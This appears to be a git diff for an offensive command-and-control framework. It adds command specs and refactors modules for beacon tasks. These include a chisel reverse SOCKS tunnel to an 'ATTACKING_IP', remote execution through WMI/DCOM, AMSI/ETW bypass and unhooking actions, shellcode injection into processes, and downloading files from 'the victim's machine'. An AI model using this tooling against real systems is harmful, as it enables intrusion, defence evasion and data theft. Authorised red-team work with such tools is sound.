+++ b/modules/COMMAND_SPEC_REFERENCE.md @@ -0,0 +1,117 @@ +# Command Spec Reference + +Command autocomplete is driven by JSON command specs exposed by the TeamServer through +`ListCommands`. Do not add new client-side hardcoded autocomplete entries. Add or update a +command spec instead. + +## File naming + +- Common commands live in `core/modules/ModuleCmd/CommandSpecs/common/.json`. +- Module commands live next to the module source as `.json`. +- The release build copies module specs into `CommandSpecs/modules/.json`. +- Avoid generic names such as `command.json`; they make release staging and reviews harder. + +## Minimal module spec + +```json +{ + "name": "whoami", + "display_name": "whoami", + "kind": "module", + "description": "Print current user and group information from the beacon.", + "command_template": "whoami", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["whoami"], + "source": "manifest" +} +``` + +## Argument fields + +```json +{ + "name": "path", + "type": "path", + "required": false, + "description": "Remote directory path.", + "values": [], + "variadic": true +} +``` + +Supported `type` values are currently descriptive, not enforced: `text`, `number`, `enum`, +`path`, and `artifact`. + +Use `values` for short static completions, especially enums. Use `examples` for complete +usage shapes that should be suggested by the console. + +## Command template + +`command_template` is the canonical renderer used by the assistant to turn structured +arguments into the exact beacon command line. Keep it in the CommandSpec; do not add +client-side assistant schemas. + +Placeholders use the same normalized argument name exposed to the assistant: + +- positional args: `{path:q}` or `{command:raw}` +- optional args: `{path:q?}` or `[-s {s:q}]` +- boolean flags: `[--no-run {no_run:flag}]` + +For flag args, strip leading dashes and replace dashes with underscores. For example, +`--donut-exe` becomes `{donut_exe:q}` and `-P` remains `{P}`. + +## Artifact-backed arguments + +```json +{ + "name": "module", + "type": "artifact", + "required": true, + "description": "Module artifact compatible with the current session.", + "artifact_filter": { + "category": "module", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "native" + } +} +``` + +`session.platform` and `session.arch` are resolved by the client from the current beacon +before it asks `ListArtifacts` for contextual autocomplete candidates. + +When an argument can be resolved from several artifact categories, use `artifact_filters` +instead of a single `artifact_filter`. Filters are treated as an OR-list by the client. + +```json +{ + "name": "service_artifact", + "type": "artifact", + "required": true, + "artifact_filters": [ + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "name_contains": ".exe" + }, + { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "file", + "name_contains": ".exe" + } + ] +} +``` diff --git a/modules/Cat/cat.json b/modules/Cat/cat.json new file mode 100644 index 0000000..c240090 --- /dev/null +++ b/modules/Cat/cat.json @@ -0,0 +1,25 @@ +{ + "name": "cat", + "display_name": "cat", + "kind": "module", + "description": "Read and print a remote file from the beacon.", + "command_template": "cat {path:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "path", + "type": "path", + "required": true, + "description": "Remote file path.", + "variadic": true + } + ], + "examples": [ + "cat /etc/hosts", + "cat C:\\Windows\\win.ini" + ], + "source": "manifest" +} diff --git a/modules/ChangeDirectory/cd.json b/modules/ChangeDirectory/cd.json new file mode 100644 index 0000000..f5db3bf --- /dev/null +++ b/modules/ChangeDirectory/cd.json @@ -0,0 +1,25 @@ +{ + "name": "cd", + "display_name": "cd", + "kind": "module", + "description": "Change the beacon current working directory.", + "command_template": "cd {path:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "path", + "type": "path", + "required": true, + "description": "Remote directory path.", + "variadic": true + } + ], + "examples": [ + "cd /tmp", + "cd C:\\Users\\Public" + ], + "source": "manifest" +} diff --git a/modules/Chisel/Chisel.cpp b/modules/Chisel/Chisel.cpp index 0d40ff2..5cc4e4a 100644 --- a/modules/Chisel/Chisel.cpp +++ b/modules/Chisel/Chisel.cpp @@ -58,15 +58,32 @@ std::string Chisel::getInfo() info += "- chisel status\n"; info += "- chisel stop pid\n"; info += "Reverse Socks Proxy:\n"; - info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n"; + info += "- chisel client ATTACKING_IP:LISTEN_PORT R:socks\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; info += "Remote Port Forward:\n"; - info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; + info += "- chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; #endif return info; } +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) +int Chisel::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) +{ + if (task.payload.empty()) + { + c2Message.set_returnvalue("Shellcode payload is empty."); + return -1; + } + + c2Message.set_instruction(std::string(moduleName)); + c2Message.set_inputfile(task.inputFile); + c2Message.set_cmd(task.displayCommand); + c2Message.set_data(task.payload.data(), task.payload.size()); + return 0; +} +#endif + int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) @@ -117,59 +134,10 @@ int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) return -1; } } - else if (splitedCmd.size() == 5) + else if (splitedCmd.size() >= 2) { - std::string inputFile=splitedCmd[1]; - std::string args; - - for (int idx = 2; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - - if(inputFile.empty()) - { - std::string msg = "A file name have to be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::ifstream myfile; - myfile.open(inputFile); - - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } - - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - myfile.close(); - - std::string method; - std::string payload; - creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch); - - if(payload.size()==0) - { - std::string msg = "Something went wrong. Payload empty.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_cmd(args); - c2Message.set_data(payload.data(), payload.size()); + c2Message.set_returnvalue("Chisel start tasks are prepared by the TeamServer shellcode service.\n"); + return -1; } else { diff --git a/modules/Chisel/Chisel.hpp b/modules/Chisel/Chisel.hpp index 4dedbae..b6d35c4 100644 --- a/modules/Chisel/Chisel.hpp +++ b/modules/Chisel/Chisel.hpp @@ -13,6 +13,9 @@ public: std::string getInfo(); int init(std::vector& splitedCmd, C2Message& c2Message); +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override; +#endif int process(C2Message& c2Message, C2Message& c2RetMessage); int followUp(const C2Message &c2RetMessage); int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; @@ -36,4 +39,3 @@ extern "C" __declspec(dllexport) Chisel * A_ChiselConstructor(); extern "C" __attribute__((visibility("default"))) Chisel * ChiselConstructor(); #endif - diff --git a/modules/Chisel/chisel.json b/modules/Chisel/chisel.json new file mode 100644 index 0000000..1cca556 --- /dev/null +++ b/modules/Chisel/chisel.json @@ -0,0 +1,39 @@ +{ + "name": "chisel", + "display_name": "chisel", + "kind": "module", + "description": "Launch the TeamServer-managed chisel.exe tool on a Windows beacon. The TeamServer generates shellcode from Tools/Windows//chisel.exe before sending the task.", + "command_template": "chisel {action} {server:q?} {reverse_spec:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "Chisel action.", + "values": ["client", "status", "stop"] + }, + { + "name": "server", + "type": "text", + "required": false, + "description": "Server host and port used by chisel client." + }, + { + "name": "reverse_spec", + "type": "text", + "required": false, + "description": "Reverse socks or reverse port-forward specification." + } + ], + "examples": [ + "chisel status", + "chisel stop 1234", + "chisel client 127.0.0.1:9001 R:socks", + "chisel client 127.0.0.1:9001 R:1080:127.0.0.1:1080" + ], + "source": "manifest" +} diff --git a/modules/Chisel/tests/testsChisel.cpp b/modules/Chisel/tests/testsChisel.cpp index 5235ba5..b2a3d9f 100644 --- a/modules/Chisel/tests/testsChisel.cpp +++ b/modules/Chisel/tests/testsChisel.cpp @@ -61,11 +61,36 @@ int main() { Chisel module; module.setWindowsArch(currentArch); - std::vector cmd = {"chisel", "missing.exe", "client", "host:8000", "R:socks"}; + std::vector cmd = {"chisel", "client", "host:8000", "R:socks"}; C2Message message; - ok &= expect(module.init(cmd, message) == -1, "missing payload file should be rejected"); - ok &= expect(!message.returnvalue().empty(), "missing payload file should explain the error"); + ok &= expect(module.init(cmd, message) == -1, "start commands should be prepared by the TeamServer service"); + ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "start command should explain server-side preparation"); + } + + { + Chisel module; + C2Message message; + ModulePreparedShellcodeTask task; + task.inputFile = "GeneratedArtifacts/payload/chisel.bin"; + task.payload = "shellcode"; + task.displayCommand = "client host:8000 R:socks"; + + ok &= expect(module.initPreparedShellcode(task, message) == 0, "prepared shellcode should be packed"); + ok &= expect(message.instruction() == "chisel", "prepared instruction should be set"); + ok &= expect(message.inputfile() == task.inputFile, "prepared input artifact path should be packed"); + ok &= expect(message.cmd() == task.displayCommand, "prepared display command should be packed"); + ok &= expect(message.data() == task.payload, "prepared shellcode bytes should be packed"); + } + + { + Chisel module; + C2Message message; + ModulePreparedShellcodeTask task; + task.displayCommand = "client host:8000 R:socks"; + + ok &= expect(module.initPreparedShellcode(task, message) == -1, "empty prepared shellcode should be rejected"); + ok &= expect(message.returnvalue().find("empty") != std::string::npos, "empty prepared shellcode should explain the error"); } return ok ? 0 : 1; diff --git a/modules/CimExec/cimExec.json b/modules/CimExec/cimExec.json new file mode 100644 index 0000000..b574bf1 --- /dev/null +++ b/modules/CimExec/cimExec.json @@ -0,0 +1,54 @@ +{ + "name": "cimExec", + "display_name": "cimExec", + "kind": "module", + "description": "Execute a command on a remote Windows host through CIM/WMI.", + "command_template": "cimExec -h {h:q} -c {c:q} [-n {n:q}] [-a {a:q}] [-u {u:q}] [-p {p:q}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "-h", + "type": "flag", + "required": true, + "description": "Remote host name or IP." + }, + { + "name": "-c", + "type": "flag", + "required": true, + "description": "Executable or command to start remotely." + }, + { + "name": "-n", + "type": "flag", + "required": false, + "description": "CIM namespace. Defaults to root/cimv2." + }, + { + "name": "-a", + "type": "flag", + "required": false, + "description": "Arguments passed to the remote command." + }, + { + "name": "-u", + "type": "flag", + "required": false, + "description": "DOMAIN\\user credentials." + }, + { + "name": "-p", + "type": "flag", + "required": false, + "description": "Password for explicit credentials." + } + ], + "examples": [ + "cimExec -h server01 -c cmd.exe -a \"/c whoami\"", + "cimExec -h server01 -n root/cimv2 -c powershell.exe -a \"-nop -c whoami\"" + ], + "source": "manifest" +} diff --git a/modules/CoffLoader/CoffLoader.cpp b/modules/CoffLoader/CoffLoader.cpp index 72bcc3a..d330283 100644 --- a/modules/CoffLoader/CoffLoader.cpp +++ b/modules/CoffLoader/CoffLoader.cpp @@ -65,11 +65,11 @@ std::string CoffLoader::getInfo() std::string info; #ifdef BUILD_TEAMSERVER info += "coffLoader:\n"; - info += "Load a .o coff file and execute it.\n"; + info += "Load a TeamServer-managed .o COFF/BOF tool artifact and execute it.\n"; info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n"; info += "exemple:\n"; - info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n"; - info += "- coffLoader ./whoami.x64.o\n"; + info += "- coffLoader dir.x64.o go Zs c:\\ 0\n"; + info += "- coffLoader whoami.x64.o go\n"; #endif return info; } diff --git a/modules/CoffLoader/coffLoader.json b/modules/CoffLoader/coffLoader.json new file mode 100644 index 0000000..44c6eb3 --- /dev/null +++ b/modules/CoffLoader/coffLoader.json @@ -0,0 +1,47 @@ +{ + "name": "coffLoader", + "display_name": "coffLoader", + "kind": "module", + "description": "Load a TeamServer-managed COFF/BOF tool artifact and execute an exported function.", + "command_template": "coffLoader {coff_file:q} {function_name:q} {packed_arguments:raw?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "coff_file", + "type": "artifact", + "required": true, + "description": "COFF/BOF tool artifact from Tools compatible with the current session.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "o", + "name_contains": ".o" + } + }, + { + "name": "function_name", + "type": "text", + "required": true, + "description": "Exported function to execute, usually go." + }, + { + "name": "packed_arguments", + "type": "text", + "required": false, + "description": "Optional COFF argument format and values.", + "variadic": true + } + ], + "examples": [ + "coffLoader whoami.x64.o go", + "coffLoader dir.x64.o go Zs c:\\ 0" + ], + "source": "manifest" +} diff --git a/modules/DcomExec/dcomExec.json b/modules/DcomExec/dcomExec.json new file mode 100644 index 0000000..2b1e3f7 --- /dev/null +++ b/modules/DcomExec/dcomExec.json @@ -0,0 +1,66 @@ +{ + "name": "dcomExec", + "display_name": "dcomExec", + "kind": "module", + "description": "Execute a command on a remote Windows host through DCOM.", + "command_template": "dcomExec -h {h:q} -c {c:q} [-a {a:q}] [-w {w:q}] [-k {k:q}] [-u {u:q}] [-p {p:q}] [-n {n:flag}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "-h", + "type": "flag", + "required": true, + "description": "Remote host name or IP." + }, + { + "name": "-c", + "type": "flag", + "required": true, + "description": "Executable or command to start remotely." + }, + { + "name": "-a", + "type": "flag", + "required": false, + "description": "Arguments passed to the remote command." + }, + { + "name": "-w", + "type": "flag", + "required": false, + "description": "Remote working directory." + }, + { + "name": "-k", + "type": "flag", + "required": false, + "description": "Kerberos SPN, for example HOST/server.domain." + }, + { + "name": "-u", + "type": "flag", + "required": false, + "description": "Username for explicit credentials." + }, + { + "name": "-p", + "type": "flag", + "required": false, + "description": "Password for explicit credentials." + }, + { + "name": "-n", + "type": "flag", + "required": false, + "description": "Use no password/current credential behavior." + } + ], + "examples": [ + "dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"", + "dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\user -p Passw0rd -c cmd.exe -a \"/c whoami\"" + ], + "source": "manifest" +} diff --git a/modules/DotnetExec/DotnetExec.cpp b/modules/DotnetExec/DotnetExec.cpp index 6a53f1b..1df9475 100644 --- a/modules/DotnetExec/DotnetExec.cpp +++ b/modules/DotnetExec/DotnetExec.cpp @@ -159,9 +159,10 @@ std::string DotnetExec::getInfo() info += "The execution occurred in the current process.\n"; info += "Once an assembly is loaded, it can be reused using its assigned short name.\n\n"; - info += "Usage:\n"; - info += " dotnetExec load \n"; - info += " - Load a .NET assembly (EXE or DLL) into memory.\n"; + info += "Usage:\n"; + info += " dotnetExec load \n"; + info += " - Load a .NET assembly (EXE or DLL) into memory.\n"; + info += " - The TeamServer resolves the assembly from Tools//.\n"; info += " - For DLLs, you must specify the fully-qualified type name (e.g., Namespace.ClassName).\n\n"; info += " dotnetExec runExe \n"; @@ -172,9 +173,9 @@ std::string DotnetExec::getInfo() info += " - You must have specified the type when loading the DLL.\n\n"; info += "Examples:\n"; - info += " dotnetExec load mytool ./Tool.exe\n"; + info += " dotnetExec load mytool Tool.exe\n"; info += " dotnetExec runExe mytool \"--list --verbose\"\n\n"; - info += " dotnetExec load libmodule ./Library.dll MyNamespace.MyClass\n"; + info += " dotnetExec load libmodule Library.dll MyNamespace.MyClass\n"; info += " dotnetExec runDll libmodule Run \"param1 param2\"\n\n"; info += "Notes:\n"; diff --git a/modules/DotnetExec/dotnetExec.json b/modules/DotnetExec/dotnetExec.json new file mode 100644 index 0000000..23237e4 --- /dev/null +++ b/modules/DotnetExec/dotnetExec.json @@ -0,0 +1,74 @@ +{ + "name": "dotnetExec", + "display_name": "dotnetExec", + "kind": "module", + "description": "Load and execute .NET assemblies in memory. Assembly load inputs are resolved from Tools by the TeamServer.", + "command_template": "dotnetExec {action} {module_name:q} {assembly_artifact:q?} {type_or_method:q?} {arguments:raw?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "DotnetExec action.", + "values": ["load", "runExe", "runDll"] + }, + { + "name": "module_name", + "type": "text", + "required": true, + "description": "Short name for a loaded assembly." + }, + { + "name": "assembly_artifact", + "type": "artifact", + "required": false, + "description": "Assembly tool artifact for load.", + "artifact_filters": [ + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "exe", + "name_contains": ".exe" + }, + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "dll", + "name_contains": ".dll" + } + ] + }, + { + "name": "type_or_method", + "type": "text", + "required": false, + "description": "DLL type for load, or method name for runDll." + }, + { + "name": "arguments", + "type": "text", + "required": false, + "description": "Optional runExe/runDll argument tail.", + "variadic": true + } + ], + "examples": [ + "dotnetExec load seatbelt Seatbelt.exe", + "dotnetExec load tool Tool.dll Namespace.Type", + "dotnetExec runExe seatbelt -- -group=system", + "dotnetExec runDll tool Run arg1 arg2" + ], + "source": "manifest" +} diff --git a/modules/Download/Download.cpp b/modules/Download/Download.cpp index f0c23fe..b201ed1 100644 --- a/modules/Download/Download.cpp +++ b/modules/Download/Download.cpp @@ -47,13 +47,13 @@ std::string Download::getInfo() std::string info; #ifdef BUILD_TEAMSERVER info += "Download Module:\n"; - info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n"; + info += "Retrieve a file from the victim's machine and register it as a generated TeamServer artifact.\n"; info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n"; info += "\nUsage example:\n"; - info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n"; + info += " - download C:\\Temp\\toto.exe toto.exe\n"; info += "\nArguments:\n"; info += " Path to the file on the victim's machine\n"; - info += " Destination path on the attacker's machine\n"; + info += " Optional generated artifact filename hint\n"; #endif return info; } @@ -98,6 +98,8 @@ int Download::recurringExec(C2Message& c2RetMessage) { c2RetMessage.set_instruction(std::to_string(moduleHash)); c2RetMessage.set_cmd(""); + c2RetMessage.set_uuid(m_taskUuid); + c2RetMessage.set_inputfile(m_inputfile); c2RetMessage.set_outputfile(m_outputfile); std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead)); @@ -146,7 +148,9 @@ int Download::process(C2Message &c2Message, C2Message &c2RetMessage) c2RetMessage.set_cmd(""); c2RetMessage.set_inputfile(c2Message.inputfile()); c2RetMessage.set_outputfile(c2Message.outputfile()); + m_inputfile = c2Message.inputfile(); m_outputfile = c2Message.outputfile(); + m_taskUuid = c2Message.uuid(); std::string inputFile = c2Message.inputfile(); diff --git a/modules/Download/Download.hpp b/modules/Download/Download.hpp index 20ab966..fd03b34 100644 --- a/modules/Download/Download.hpp +++ b/modules/Download/Download.hpp @@ -23,7 +23,9 @@ public: } private: + std::string m_inputfile; std::string m_outputfile; + std::string m_taskUuid; std::ofstream m_output; std::ifstream m_input; std::streamsize m_fileSize; diff --git a/modules/Download/download.json b/modules/Download/download.json new file mode 100644 index 0000000..b5dc27f --- /dev/null +++ b/modules/Download/download.json @@ -0,0 +1,30 @@ +{ + "name": "download", + "display_name": "download", + "kind": "module", + "description": "Download a remote file from the beacon.", + "command_template": "download {remote_path:q} {artifact_name:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "remote_path", + "type": "path", + "required": true, + "description": "Path of the file on the beacon." + }, + { + "name": "artifact_name", + "type": "text", + "required": false, + "description": "Optional generated artifact filename hint. The TeamServer controls the storage path." + } + ], + "examples": [ + "download /tmp/file.txt", + "download C:\\Temp\\file.txt file.txt" + ], + "source": "manifest" +} diff --git a/modules/Download/tests/testsDownload.cpp b/modules/Download/tests/testsDownload.cpp index f857a11..96dd4e7 100644 --- a/modules/Download/tests/testsDownload.cpp +++ b/modules/Download/tests/testsDownload.cpp @@ -70,12 +70,15 @@ bool testDownload() { std::vector cmd = {"download", src.string(), dst.string()}; C2Message msg, ret; dl.init(cmd, msg); + msg.set_uuid("download-uuid"); dl.process(msg, ret); dl.followUp(ret); std::cout << "large first ret: " << ret.returnvalue() << " ec=" << ret.errorCode() << std::endl; while(ret.returnvalue() != "Success") { C2Message next; dl.recurringExec(next); + ok &= next.uuid() == "download-uuid"; + ok &= next.inputfile() == src.string(); dl.followUp(next); ret = next; } diff --git a/modules/EnumerateRdpSessions/enumerateRdpSessions.json b/modules/EnumerateRdpSessions/enumerateRdpSessions.json new file mode 100644 index 0000000..3e90d46 --- /dev/null +++ b/modules/EnumerateRdpSessions/enumerateRdpSessions.json @@ -0,0 +1,31 @@ +{ + "name": "enumerateRdpSessions", + "display_name": "enumerateRdpSessions", + "kind": "module", + "description": "Enumerate local or remote RDP sessions using the Windows WTS APIs.", + "command_template": "enumerateRdpSessions [-s {s:q}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "-s", + "type": "flag", + "required": false, + "description": "Target host name or IP. Defaults to the local system." + }, + { + "name": "server", + "type": "text", + "required": false, + "description": "Optional target host name or IP." + } + ], + "examples": [ + "enumerateRdpSessions", + "enumerateRdpSessions -s fileserver", + "enumerateRdpSessions fileserver" + ], + "source": "manifest" +} diff --git a/modules/EnumerateShares/enumerateShares.json b/modules/EnumerateShares/enumerateShares.json new file mode 100644 index 0000000..51b1757 --- /dev/null +++ b/modules/EnumerateShares/enumerateShares.json @@ -0,0 +1,24 @@ +{ + "name": "enumerateShares", + "display_name": "enumerateShares", + "kind": "module", + "description": "Enumerate SMB shares from the beacon context.", + "command_template": "enumerateShares {host:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "host", + "type": "text", + "required": false, + "description": "Optional remote host to enumerate. Empty value enumerates from the local context." + } + ], + "examples": [ + "enumerateShares", + "enumerateShares fileserver" + ], + "source": "manifest" +} diff --git a/modules/Evasion/evasion.json b/modules/Evasion/evasion.json new file mode 100644 index 0000000..794ea49 --- /dev/null +++ b/modules/Evasion/evasion.json @@ -0,0 +1,49 @@ +{ + "name": "evasion", + "display_name": "evasion", + "kind": "module", + "description": "Run an evasion action on the beacon.", + "command_template": "evasion {action} {address:q?} {value:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "Evasion action.", + "values": [ + "CheckHooks", + "DisableETW", + "Unhook", + "UnhookPerunsFart", + "AmsiBypass", + "Introspection", + "ReadMemory", + "PatchMemory", + "RemotePatch" + ] + }, + { + "name": "address", + "type": "text", + "required": false, + "description": "Module name, address, or target value required by selected actions." + }, + { + "name": "value", + "type": "text", + "required": false, + "description": "Size or patch bytes required by memory actions." + } + ], + "examples": [ + "evasion CheckHooks", + "evasion DisableETW", + "evasion ReadMemory 0x123456 20", + "evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90" + ], + "source": "manifest" +} diff --git a/modules/GetEnv/getEnv.json b/modules/GetEnv/getEnv.json new file mode 100644 index 0000000..384daea --- /dev/null +++ b/modules/GetEnv/getEnv.json @@ -0,0 +1,16 @@ +{ + "name": "getEnv", + "display_name": "getEnv", + "kind": "module", + "description": "List environment variables available to the beacon process.", + "command_template": "getEnv", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": [ + "getEnv" + ], + "source": "manifest" +} diff --git a/modules/Inject/CMakeLists.txt b/modules/Inject/CMakeLists.txt index afadbaf..1776aaf 100644 --- a/modules/Inject/CMakeLists.txt +++ b/modules/Inject/CMakeLists.txt @@ -19,7 +19,7 @@ endif() set_property(TARGET Inject PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") -if(C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS) +if((C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS) AND NOT WIN32) target_link_libraries(Inject PRIVATE Donut ) endif() c2core_disable_safeseh_for_x86(Inject) @@ -36,7 +36,7 @@ endif() if(C2CORE_BUILD_TESTS) if(WIN32) add_executable(testsInject tests/testsInject.cpp Inject.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ}) - target_link_libraries(testsInject PRIVATE Donut ) + target_link_libraries(testsInject PRIVATE Donut) c2core_disable_safeseh_for_x86(testsInject) add_dependencies(testsInject dummyInject) target_compile_definitions(testsInject PRIVATE C2_INJECT_DUMMY_EXE="$") diff --git a/modules/Inject/Inject.cpp b/modules/Inject/Inject.cpp index f65b31d..1e1ed9e 100644 --- a/modules/Inject/Inject.cpp +++ b/modules/Inject/Inject.cpp @@ -1,9 +1,14 @@ #include "Inject.hpp" #include +#include +#include #include "Common.hpp" +#include "InjectCommandOptions.hpp" +#ifndef _WIN32 #include "Tools.hpp" +#endif using namespace std; @@ -74,148 +79,106 @@ std::string Inject::getInfo() info += "inject:\n"; info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n"; info += "No output is provided.\n"; - info += "Use -r to use a shellcode file.\n"; - info += "If -e or -d are given, use donut to create the shellcode.\n"; + info += "Use --raw to use a shellcode file.\n"; + info += "If --donut-exe or --donut-dll are given, the TeamServer creates the shellcode.\n"; info += "If pid is negative a new process is created for the injection.\n"; info += "exemple:\n"; - info += "- inject -r ./calc.bin 2568\n"; - info += "- inject -e ./beacon.exe pid arg1 arg2\n"; - info += "- inject -d ./calc.dll pid method arg1 arg2\n"; + info += "- inject --raw ./calc.bin --pid 2568\n"; + info += "- inject --donut-exe ./beacon.exe --pid 2568 -- arg1 arg2\n"; + info += "- inject --donut-dll ./calc.dll --pid -1 --method EntryPoint -- arg1 arg2\n"; #endif return info; } +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) +namespace +{ +std::string resolvePayloadPath( + const std::string& inputFile, + const std::string& toolsDirectoryPath, + const std::string& windowsBeaconsDirectoryPath, + const std::string& windowsArch) +{ + if (inputFile.empty()) + return ""; + if (std::filesystem::exists(inputFile)) + return inputFile; + + std::filesystem::path toolsPath = std::filesystem::path(toolsDirectoryPath) / inputFile; + if (std::filesystem::exists(toolsPath)) + return toolsPath.string(); + + std::filesystem::path beaconPath = std::filesystem::path(windowsBeaconsDirectoryPath) / inputFile; + if (std::filesystem::exists(beaconPath)) + return beaconPath.string(); + + std::filesystem::path archBeaconPath = std::filesystem::path(windowsBeaconsDirectoryPath) / windowsArch / inputFile; + if (std::filesystem::exists(archBeaconPath)) + return archBeaconPath.string(); + + return inputFile; +} + +std::string readBinaryFile(const std::string& path) +{ + std::ifstream input(path, std::ios::binary); + return std::string(std::istreambuf_iterator(input), std::istreambuf_iterator()); +} +} // namespace + +int Inject::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) +{ + if (task.payload.empty()) + { + c2Message.set_returnvalue("Shellcode payload is empty."); + return -1; + } + + c2Message.set_pid(task.pid); + c2Message.set_cmd(task.displayCommand); + c2Message.set_instruction(std::string(moduleName)); + c2Message.set_inputfile(task.inputFile); + c2Message.set_data(task.payload.data(), task.payload.size()); + return 0; +} +#endif + int Inject::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) - if (splitedCmd.size() >= 4) + inject_command::CommandOptions options = inject_command::parseCommandOptions(splitedCmd); + if (!options.error.empty()) { - bool donut=false; - std::string inputFile=splitedCmd[2]; - std::string method; - std::string args; - int pid=-1; - - try - { - pid = stoi(splitedCmd[3]); - } - catch (...) - { - std::string msg = "Pid must be an integer.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - if(splitedCmd[1]=="-e") - { - donut=true; - for (int idx = 4; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-d") - { - donut=true; - if(splitedCmd.size() > 4) - method=splitedCmd[4]; - else - { - std::string msg = "Method is mandatory for DLL.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - for (int idx = 5; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-r") - { - } - else - { - std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - if(inputFile.empty()) - { - std::string msg = "A file name have to be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::ifstream myfile; - myfile.open(inputFile); - - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } - - if(!myfile) 